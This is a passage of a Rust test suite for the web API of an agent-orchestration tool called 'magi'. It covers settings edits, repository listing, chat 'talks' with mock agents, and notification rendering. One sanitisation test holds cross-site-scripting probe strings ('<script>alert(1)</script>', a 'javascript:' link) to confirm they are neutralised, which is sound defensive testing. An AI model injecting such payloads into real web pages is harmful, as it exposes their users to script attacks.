14375        assert_eq!(error.status, 200);
14376        assert!(error.json()["error"]["message"].is_string());
14377        assert_eq!(error.json()["repositories"], default["repositories"]);
14378    }
14379
14380    #[tokio::test]
14381    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14382        let (_tmp, repo, machine) =
14383            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14384        let f = Fixture::with_repo_and_machine(repo, machine).await;
14385        let res = f.get("/api/settings").await;
14386        assert_eq!(res.status, 200, "{}", res.body);
14387        let v = res.json();
14388        assert!(v["error"].is_null(), "{v}");
14389        let role = |k: &str| {
14390            v["roles"]
14391                .as_array()
14392                .and_then(|r| r.iter().find(|x| x["key"] == k))
14393                .cloned()
14394                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14395        };
14396        assert_eq!(role("judges")["source"], "machine");
14397        assert_eq!(role("judges")["editable"], true);
14398        assert_eq!(role("implementers")["source"], "default");
14399        let adv = role("advisors");
14400        assert_eq!(adv["fallback"], "judges");
14401        assert!(
14402            adv["seats"]
14403                .as_array()
14404                .is_some_and(|s| s.iter().all(|x| x == "b")),
14405            "{adv}"
14406        );
14407        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14408        assert_eq!(v["agents"][0]["source"], "repo");
14409    }
14410
14411    #[tokio::test]
14412    async fn settings_get_reports_a_config_that_does_not_parse() {
14413        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14414        let f = Fixture::with_repo_and_machine(repo, machine).await;
14415        let res = f.get("/api/settings").await;
14416        assert_eq!(res.status, 200, "{}", res.body);
14417        let v = res.json();
14418        assert!(v["error"]["message"].is_string(), "{v}");
14419        assert!(
14420            v["error"]["path"]
14421                .as_str()
14422                .is_some_and(|p| p.ends_with("magi.toml")),
14423            "{v}"
14424        );
14425        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14426    }
14427
14428    #[tokio::test]
14429    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14430        let (_tmp, repo, machine) = settings_dirs(
14431            SETTINGS_AGENTS,
14432            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14433        );
14434        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14435        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14436        let rev = f.get("/api/settings").await.json()["revision"]
14437            .as_str()
14438            .expect("revision")
14439            .to_owned();
14440        let body = serde_json::json!({
14441            "revision": rev,
14442            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14443        })
14444        .to_string();
14445        let res = f.put("/api/settings/roles", &body).await;
14446        assert_eq!(res.status, 200, "{}", res.body);
14447        let text = std::fs::read_to_string(&machine).expect("machine");
14448        assert_eq!(
14449            text,
14450            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14451        );
14452        assert_eq!(
14453            std::fs::read(repo.join("magi.toml")).expect("read"),
14454            repo_before
14455        );
14456        let again = f.get("/api/settings").await.json();
14457        let judges = again["roles"]
14458            .as_array()
14459            .expect("roles")
14460            .iter()
14461            .find(|r| r["key"] == "judges")
14462            .expect("judges")
14463            .clone();
14464        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14465        // The old revision is now stale.
14466        let stale = f.put("/api/settings/roles", &body).await;
14467        assert_eq!(stale.status, 409, "{}", stale.body);
14468    }
14469
14470    #[tokio::test]
14471    async fn settings_counts_are_reported_and_saved() {
14472        let (_tmp, repo, machine) = settings_dirs(
14473            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14474            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14475        );
14476        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14477        let v = f.get("/api/settings").await.json();
14478        let count = |v: &serde_json::Value, k: &str| {
14479            v["roles"]
14480                .as_array()
14481                .and_then(|r| r.iter().find(|x| x["key"] == k))
14482                .map(|x| x["count"].clone())
14483                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14484        };
14485        let imp = count(&v, "implementers");
14486        assert_eq!(imp["value"], 2);
14487        assert_eq!(imp["source"], "machine");
14488        assert_eq!(imp["file_key"], "candidates");
14489        assert_eq!(imp["roster_len"], 2);
14490        assert_eq!(imp["backups"], 0);
14491        assert_eq!(count(&v, "judges")["source"], "default");
14492        assert_eq!(count(&v, "advisors")["min"], 0);
14493        assert_eq!(count(&v, "reviewers")["editable"], false);
14494        assert!(
14495            count(&v, "reviewers")["locked_reason"]
14496                .as_str()
14497                .is_some_and(|m| m.contains("graph.reviewers"))
14498        );
14499        assert!(count(&v, "fixer").is_null());
14500        let rev = v["revision"].as_str().expect("revision").to_owned();
14501        let body = serde_json::json!({
14502            "revision": rev,
14503            "roles": { "judges": ["b"] },
14504            "counts": { "implementers": 1, "advisors": 0 }
14505        })
14506        .to_string();
14507        let res = f.put("/api/settings/roles", &body).await;
14508        assert_eq!(res.status, 200, "{}", res.body);
14509        let text = std::fs::read_to_string(&machine).expect("machine");
14510        assert_eq!(
14511            text,
14512            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14513        );
14514        let after = f.get("/api/settings").await.json();
14515        assert_eq!(count(&after, "implementers")["value"], 1);
14516        assert_eq!(count(&after, "implementers")["backups"], 1);
14517        assert_eq!(count(&after, "advisors")["value"], 0);
14518        let before = std::fs::read_to_string(&machine).expect("machine");
14519        let rev = after["revision"].as_str().expect("revision").to_owned();
14520        for counts in [
14521            serde_json::json!({ "judges": 0 }),
14522            serde_json::json!({ "judges": "x" }),
14523            serde_json::json!({ "judges": 2.5 }),
14524            serde_json::json!({ "judges": -1 }),
14525            serde_json::json!({ "reviewers": 3 }),
14526            serde_json::json!({ "bogus": 3 }),
14527        ] {
14528            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14529            let res = f.put("/api/settings/roles", &body).await;
14530            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14531            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14532        }
14533    }
14534
14535    #[tokio::test]
14536    async fn settings_put_refuses_without_touching_the_file() {
14537        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14538        let (_tmp, repo, machine) = settings_dirs(
14539            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14540            Some(machine_text),
14541        );
14542        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14543        let rev = f.get("/api/settings").await.json()["revision"]
14544            .as_str()
14545            .expect("revision")
14546            .to_owned();
14547        for roles in [
14548            serde_json::json!({ "judges": ["nope"] }),
14549            serde_json::json!({ "reviewers": ["b"] }),
14550            serde_json::json!({ "bogus": ["a"] }),
14551        ] {
14552            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14553            let res = f.put("/api/settings/roles", &body).await;
14554            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14555            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14556            assert_eq!(
14557                std::fs::read_to_string(&machine).expect("machine"),
14558                machine_text
14559            );
14560        }
14561    }
14562
14563    #[tokio::test]
14564    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14565        let tmp = TempDir::new().expect("tempdir");
14566        let repo = tmp.path().join("repo");
14567        std::fs::create_dir_all(&repo).expect("repo dir");
14568        let root = tmp.path().join("root");
14569        make_checkout(&root, "github.com", "yukimemi", "magi");
14570        std::fs::write(
14571            repo.join("magi.toml"),
14572            format!(
14573                "[repos]\nroots = [{:?}]\n",
14574                root.to_string_lossy().into_owned()
14575            ),
14576        )
14577        .expect("write magi.toml");
14578
14579        let f = Fixture::with_repo(repo).await;
14580        let res = f.get("/api/repos").await;
14581        assert_eq!(res.status, 200, "{}", res.body);
14582        let list = res.json();
14583        let repos = list.as_array().expect("an array");
14584        assert_eq!(repos.len(), 1);
14585        assert_eq!(repos[0]["name"], "yukimemi/magi");
14586        assert!(
14587            repos[0]["path"]
14588                .as_str()
14589                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14590            "{list}"
14591        );
14592    }
14593
14594    #[tokio::test]
14595    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14596        let tmp = TempDir::new().expect("tempdir");
14597        let repo = tmp.path().join("repo");
14598        std::fs::create_dir_all(&repo).expect("repo dir");
14599        let root = tmp.path().join("root");
14600        make_checkout(&root, "github.com", "yukimemi", "magi");
14601        std::fs::write(
14602            repo.join("magi.toml"),
14603            format!(
14604                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14605                root.to_string_lossy().into_owned()
14606            ),
14607        )
14608        .expect("write magi.toml");
14609
14610        let f = Fixture::with_repo(repo).await;
14611        let first = f.get("/api/repos").await;
14612        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14613
14614        // A second checkout appears; within the TTL the cached answer must
14615        // not notice it.
14616        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14617        let second = f.get("/api/repos").await;
14618        assert_eq!(
14619            second.json().as_array().map(Vec::len),
14620            Some(1),
14621            "a fresh cache must not rescan inside the TTL"
14622        );
14623
14624        let refreshed = f.get("/api/repos?refresh=1").await;
14625        assert_eq!(
14626            refreshed.json().as_array().map(Vec::len),
14627            Some(2),
14628            "an explicit refresh must rescan even inside the TTL"
14629        );
14630    }
14631
14632    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14633    /// string, declared straight in a repository's own `magi.toml` rather
14634    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14635    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14636    /// this is safe to run over a real HTTP round trip.
14637    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14638
14639    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14640    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14641    /// even though it takes no turn, and `talk_say` invokes one.
14642    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14643        let tmp = TempDir::new().expect("tempdir");
14644        let repo = tmp.path().join("repo");
14645        std::fs::create_dir_all(&repo).expect("repo dir");
14646        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14647        let f = Fixture::with_repo(repo.clone()).await;
14648        (tmp, repo, f)
14649    }
14650
14651    #[tokio::test]
14652    async fn posting_a_talk_with_remembered_choices_is_soft() {
14653        let (_tmp, _repo, f) = talk_fixture().await;
14654
14655        let good = f
14656            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14657            .await;
14658        assert_eq!(good.status, 201, "{}", good.body);
14659        assert_eq!(good.json()["persona"], "rei");
14660
14661        // Wrong values and wrong types are dropped one by one, never a 4xx.
14662        let stale = f
14663            .post(
14664                "/api/talks",
14665                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14666            )
14667            .await;
14668        assert_eq!(stale.status, 201, "{}", stale.body);
14669        let v = stale.json();
14670        assert_eq!(v["implementers"], 1);
14671        assert_ne!(v["persona"], "nobody");
14672        let typed = f
14673            .post(
14674                "/api/talks",
14675                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14676            )
14677            .await;
14678        assert_eq!(typed.status, 201, "{}", typed.body);
14679
14680        // The strict `agent` field still refuses an unknown id.
14681        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14682        assert!(
14683            !strict.status.to_string().starts_with('2'),
14684            "{}",
14685            strict.body
14686        );
14687    }
14688
14689    #[tokio::test]
14690    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14691        let (_tmp, _repo, f) = talk_fixture().await;
14692
14693        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14694        // is the ordinary way a phone opens a talk.
14695        let opened = f.post("/api/talks", None).await;
14696        assert_eq!(opened.status, 201, "{}", opened.body);
14697        let body = opened.json();
14698        assert_eq!(body["status"], "open");
14699        assert_eq!(
14700            body["turns"].as_array().unwrap().len(),
14701            0,
14702            "opening takes no agent turn: there is nothing yet to answer"
14703        );
14704
14705        // An explicit empty object is the same request as none at all.
14706        let also_opened = f.post("/api/talks", Some("{}")).await;
14707        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14708
14709        let listed = f.get("/api/talks").await.json();
14710        assert_eq!(listed.as_array().unwrap().len(), 2);
14711    }
14712
14713    #[tokio::test]
14714    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14715        let tmp = TempDir::new().expect("tempdir");
14716        let repo = tmp.path().join("repo");
14717        std::fs::create_dir_all(&repo).expect("repo dir");
14718        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14719        std::fs::write(
14720            repo.join("magi.toml"),
14721            format!("{MOCK_AGENT_TOML}\n{second}"),
14722        )
14723        .expect("write magi.toml");
14724        let home = TempDir::new().expect("temp home");
14725        let talks = Talks::at(home.path().join("talks"));
14726        let ui = Arc::new(
14727            Ui::new(
14728                Queue::at(home.path().join("queue")),
14729                Questions::at(home.path().join("questions")),
14730                talks.clone(),
14731                home.path().join("runs"),
14732                home.path().to_path_buf(),
14733                repo.clone(),
14734            )
14735            .with_worktrees_root(home.path().join("wt")),
14736        );
14737        let cfg = config_for(&repo).await.expect("discover config");
14738        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14739        let id = talk.id.clone();
14740        let call = |agent: &str| {
14741            talk_agent(
14742                State(Arc::clone(&ui)),
14743                Path(id.clone()),
14744                Json(TalkAgent {
14745                    agent: agent.to_owned(),
14746                }),
14747            )
14748        };
14749
14750        let unknown = call("nobody").await.expect_err("unknown agent");
14751        assert_eq!(
14752            unknown.status,
14753            StatusCode::BAD_REQUEST,
14754            "{}",
14755            unknown.message
14756        );
14757
14758        {
14759            // Nothing refused so far took a claim, so the guard is free to take
14760            // and holding it is what makes the talk busy.
14761            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14762            let busy = call("second").await.expect_err("busy talk");
14763            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14764            assert!(
14765                busy.message.contains("a talk turn is running"),
14766                "{}",
14767                busy.message
14768            );
14769            drop(guard);
14770        }
14771        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14772
14773        let Json(view) = call("second").await.expect("switch");
14774        assert_eq!(view.talk.agent, "second");
14775        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14776        let saved = talks.get(&id).expect("reload");
14777        assert_eq!(saved.agent, "second");
14778        assert_eq!(saved.turns.len(), 1);
14779        assert!(!view.thinking);
14780        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14781        for agent in ["mock", "second"] {
14782            let Json(view) = call(agent).await.expect("immediate consecutive change");
14783            assert_eq!(view.talk.agent, agent);
14784            assert!(!view.thinking);
14785            assert!(!ui.is_thinking(&id));
14786        }
14787
14788        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14789            .await
14790            .expect("detail");
14791        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14792        assert_eq!(roster, ["mock", "second"]);
14793
14794        let mut closed = talks.get(&id).expect("reload");
14795        talk::close(&mut closed, &talks).expect("close");
14796        let refused = call("mock").await.expect_err("closed talk");
14797        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14798        assert!(
14799            refused.message.contains("takes no more turns"),
14800            "{}",
14801            refused.message
14802        );
14803    }
14804
14805    #[tokio::test]
14806    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14807        let tmp = TempDir::new().expect("tempdir");
14808        let repo = tmp.path().join("repo");
14809        std::fs::create_dir_all(&repo).expect("repo dir");
14810        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14811        let home = TempDir::new().expect("temp home");
14812        let talks = Talks::at(home.path().join("talks"));
14813        let ui = Arc::new(
14814            Ui::new(
14815                Queue::at(home.path().join("queue")),
14816                Questions::at(home.path().join("questions")),
14817                talks.clone(),
14818                home.path().join("runs"),
14819                home.path().to_path_buf(),
14820                repo.clone(),
14821            )
14822            .with_worktrees_root(home.path().join("wt")),
14823        );
14824        let cfg = config_for(&repo).await.expect("discover config");
14825        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14826        let id = talk.id.clone();
14827        let call = |n: u8| {
14828            talk_implementers(
14829                State(Arc::clone(&ui)),
14830                Path(id.clone()),
14831                Json(TalkImplementers { implementers: n }),
14832            )
14833        };
14834
14835        for bad in [0u8, 4] {
14836            let e = call(bad).await.expect_err("out of range");
14837            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14838        }
14839        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14840
14841        {
14842            // Nothing refused so far took a claim, so the guard is free to take
14843            // and holding it is what makes the talk busy.
14844            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14845            let busy = call(2).await.expect_err("busy talk");
14846            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14847            assert!(
14848                busy.message.contains("a talk turn is running"),
14849                "{}",
14850                busy.message
14851            );
14852            drop(guard);
14853        }
14854
14855        let Json(view) = call(3).await.expect("switch");
14856        assert_eq!(view.talk.implementers, 3);
14857        assert!(talks.get(&id).expect("reload").implementers_dirty);
14858        assert!(!view.thinking);
14859        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14860        for n in [1, 2, 3] {
14861            let Json(view) = call(n).await.expect("immediate consecutive change");
14862            assert_eq!(view.talk.implementers, n);
14863            assert!(!view.thinking);
14864            assert!(!ui.is_thinking(&id));
14865        }
14866
14867        let mut closed = talks.get(&id).expect("reload");
14868        talk::close(&mut closed, &talks).expect("close");
14869        let e = call(2).await.expect_err("closed talk");
14870        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14871        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14872    }
14873
14874    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14875    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14876        let tmp = TempDir::new().expect("tempdir");
14877        let repo = tmp.path().join("repo");
14878        std::fs::create_dir_all(&repo).expect("repo dir");
14879        std::fs::write(
14880            repo.join("magi.toml"),
14881            format!("{MOCK_AGENT_TOML}\n{extra}"),
14882        )
14883        .expect("write magi.toml");
14884        let home = TempDir::new().expect("temp home");
14885        let talks = Talks::at(home.path().join("talks"));
14886        let ui = Arc::new(
14887            Ui::new(
14888                Queue::at(home.path().join("queue")),
14889                Questions::at(home.path().join("questions")),
14890                talks.clone(),
14891                home.path().join("runs"),
14892                home.path().to_path_buf(),
14893                repo.clone(),
14894            )
14895            .with_worktrees_root(home.path().join("wt")),
14896        );
14897        let cfg = config_for(&repo).await.expect("discover config");
14898        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14899        (tmp, home, ui, talk.id, repo)
14900    }
14901
14902    #[tokio::test]
14903    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14904        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14905        let mut conversation = ui.talks.get(&id).unwrap();
14906        talk::record(
14907            &mut conversation,
14908            &ui.talks,
14909            "# Update on a task you filed\noperator words",
14910            vec![],
14911        )
14912        .unwrap();
14913        // Simulate an old operator record; headings do not prove authorship.
14914        conversation.turns[0].sender = None;
14915        conversation.turns[0].messages.clear();
14916        ui.talks.put(&mut conversation).unwrap();
14917        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14918        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14919        talk::drain(&mut conversation, &ui.talks).unwrap();
14920        talk::record_reply(
14921            &mut conversation,
14922            &ui.talks,
14923            "about that report",
14924            vec![],
14925            Some(talk::ReplyTarget {
14926                turn: 1,
14927                message: 1,
14928            }),
14929        )
14930        .unwrap();
14931        conversation.turns[2].messages[0]
14932            .reply
14933            .as_mut()
14934            .unwrap()
14935            .sender = None;
14936        conversation.turns.push(talk::Turn {
14937            sender: Some(talk::Sender::Persona),
14938            who: talk::Who::Agent,
14939            body: "magi: actual persona words".into(),
14940            at: Timestamp::now(),
14941            attachments: vec![],
14942            usage: None,
14943            breaks: None,
14944            messages: vec![],
14945            posted_by: None,
14946        });
14947        ui.talks.put(&mut conversation).unwrap();
14948        let view = TalkView::with_config(
14949            ui.talks.get(&id).unwrap(),
14950            false,
14951            None,
14952            &ui.home,
14953            &ui.references,
14954        );
14955        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14956        assert_eq!(
14957            view.talk.turns[1].messages[0].sender,
14958            Some(talk::Sender::Operator)
14959        );
14960        assert_eq!(
14961            view.talk.turns[1].messages[1].sender,
14962            Some(talk::Sender::Magi)
14963        );
14964        assert_eq!(
14965            view.talk.turns[2].messages[0]
14966                .reply
14967                .as_ref()
14968                .unwrap()
14969                .sender,
14970            Some(talk::Sender::Magi)
14971        );
14972        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14973        assert_eq!(view.turn_messages_md[0].len(), 1);
14974        assert!(view.turn_messages_md[0][0].is_none());
14975        assert!(view.turn_messages_md[1][0].is_none());
14976        assert!(view.turn_messages_md[1][1].is_some());
14977    }
14978
14979    #[tokio::test]
14980    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14981        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14982        let mut conversation = ui.talks.get(&id).unwrap();
14983        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14984        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14985        talk::queue_notice(
14986            &mut conversation,
14987            &ui.talks,
14988            &body,
14989            "watch:123",
14990            &|_| false,
14991            None,
14992            display.clone(),
14993        )
14994        .unwrap();
14995        assert!(
14996            !talk::queue_notice(
14997                &mut conversation,
14998                &ui.talks,
14999                &body,
15000                "watch:123",
15001                &|_| false,
15002                None,
15003                display.clone()
15004            )
15005            .unwrap()
15006        );
15007        let saved = ui.talks.get(&id).unwrap();
15008        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15009        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15010        assert!(
15011            view.talk.turns[0].messages[0].display.is_none(),
15012            "operator copy stays literal"
15013        );
15014        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15015        assert!(view.turn_messages_md[0][0].is_none());
15016        let queued_md = view.pending_messages_md[0].clone();
15017        assert_eq!(
15018            queued_md,
15019            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15020        );
15021        talk::drain(&mut conversation, &ui.talks).unwrap();
15022        talk::record_reply(
15023            &mut conversation,
15024            &ui.talks,
15025            "Explain",
15026            vec![],
15027            Some(talk::ReplyTarget {
15028                turn: 1,
15029                message: 0,
15030            }),
15031        )
15032        .unwrap();
15033        let mut saved = ui.talks.get(&id).unwrap();
15034        assert_eq!(saved.turns[1].messages[0].body, body);
15035        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15036        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15037        assert!(!reply.excerpt.contains("automatic report"));
15038        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15039        saved.turns[1].messages[0].display = None; // old MAGI send
15040        ui.talks.put(&mut saved).unwrap();
15041        let view = TalkView::with_config(
15042            ui.talks.get(&id).unwrap(),
15043            false,
15044            None,
15045            &ui.home,
15046            &ui.references,
15047        );
15048        assert_eq!(view.turn_messages_md[1][0], queued_md);
15049        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15050        assert!(
15051            !view.talk.turns[2].messages[0]
15052                .reply
15053                .as_ref()
15054                .unwrap()
15055                .excerpt
15056                .contains("automatic report")
15057        );
15058        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15059    }
15060
15061    #[tokio::test]
15062    async fn consultation_display_hides_directives_in_queue_and_history() {
15063        for node in [
15064            "implement",
15065            crate::land::APPROVAL_NODE,
15066            crate::github_text::ASK_NODE,
15067        ] {
15068            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15069            let mut question = Question::new(
15070                "run-123".into(),
15071                node.into(),
15072                "seat-1".into(),
15073                "Which backend?".into(),
15074                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15075                vec!["SQLite".into(), "Redis".into()],
15076            );
15077            ui.questions.put(&mut question).unwrap();
15078            let body = crate::prompt::chat_consult(&question);
15079            let mut conversation = ui.talks.get(&id).unwrap();
15080            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15081            assert!(
15082                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15083            );
15084            conversation = ui.talks.get(&id).unwrap();
15085            assert_eq!(conversation.pending_messages[0].body, body);
15086            assert!(body.contains("magi answer"));
15087            let mut legacy_pending = conversation.clone();
15088            legacy_pending.pending_messages[0].display = None;
15089            let legacy_view =
15090                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15091            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15092            assert!(legacy_md.contains("Question consultation"));
15093            assert!(!legacy_md.contains("magi answer"));
15094            let view =
15095                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15096            assert!(
15097                view.turn_messages_md[0][0].is_none(),
15098                "operator copy stays literal"
15099            );
15100            let queued_md = view.pending_messages_md[0].clone().unwrap();
15101            let rendered = serde_json::to_string(&queued_md).unwrap();
15102            for visible in [
15103                "Which backend?",
15104                "Context",
15105                "storage",
15106                "SQLite",
15107                "Redis",
15108                "<script>literal</script>",
15109            ] {
15110                assert!(rendered.contains(visible), "missing {visible}");
15111            }
15112            for directive in [
15113                "What to do",
15114                "magi answer",
15115                "Never answer it yourself",
15116                "Do not edit the repository",
15117            ] {
15118                assert!(!rendered.contains(directive), "exposed {directive}");
15119            }
15120            assert_eq!(
15121                view.talk.pending_messages[0].display,
15122                Some(crate::prompt::chat_consult_display(&question))
15123            );
15124            talk::drain(&mut conversation, &ui.talks).unwrap();
15125            let view =
15126                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15127            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15128            assert_eq!(conversation.turns[1].messages[0].body, body);
15129
15130            // Historical consultations lack a snapshot: show a safe placeholder
15131            // rather than parsing instructions or reconstructing mutable facts.
15132            conversation.turns[1].messages[0].display = None;
15133            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15134            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15135            assert!(legacy.contains("Question consultation"));
15136            assert!(!legacy.contains("magi answer"));
15137            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15138        }
15139    }
15140
15141    #[test]
15142    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15143        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15144        let (body, mut display) =
15145            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15146        display.facts = facts.into();
15147        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15148        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15149        let json = serde_json::to_string(&nodes).unwrap();
15150        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15151            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15152        }
15153        assert!(json.contains("<script>alert(1)</script>"));
15154        assert!(!json.contains("javascript:"));
15155        assert!(!json.contains("Tell the operator"));
15156        assert!(!json.contains("untrusted"));
15157        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15158        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15159        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15160        assert_eq!(
15161            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15162            md::to_nodes("# Status", &md::ImageBase::None),
15163        );
15164    }
15165
15166    #[tokio::test]
15167    async fn notification_display_recovers_exact_legacy_completion_references() {
15168        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15169        let mut conversation = ui.talks.get(&id).unwrap();
15170        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15171            id: "task-123",
15172            title: "Change",
15173            status: "done",
15174            reason: None,
15175            run: Some("run-123"),
15176            pr: None,
15177            summary: Some("Merge state unknown"),
15178        });
15179        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15180        conversation.turns[0].sender = None;
15181        conversation.turns[0].messages.clear();
15182        conversation.turns[0].breaks = None;
15183        conversation.pending = body.clone();
15184        conversation
15185            .completion_notices
15186            .push(crate::chat_notify::CompletionReference {
15187                task: "task-123".into(),
15188                run: Some("run-123".into()),
15189                notice: body.clone(),
15190            });
15191        ui.talks.put(&mut conversation).unwrap();
15192        let view = TalkView::with_config(
15193            ui.talks.get(&id).unwrap(),
15194            false,
15195            None,
15196            &ui.home,
15197            &ui.references,
15198        );
15199        assert_eq!(
15200            view.talk.turns[0].messages[0].display,
15201            Some(display.clone())
15202        );
15203        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15204        assert_eq!(
15205            view.talk.turns[0].messages[0].sender,
15206            Some(talk::Sender::Magi)
15207        );
15208        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15209        conversation.completion_notices[0]
15210            .notice
15211            .push_str("different");
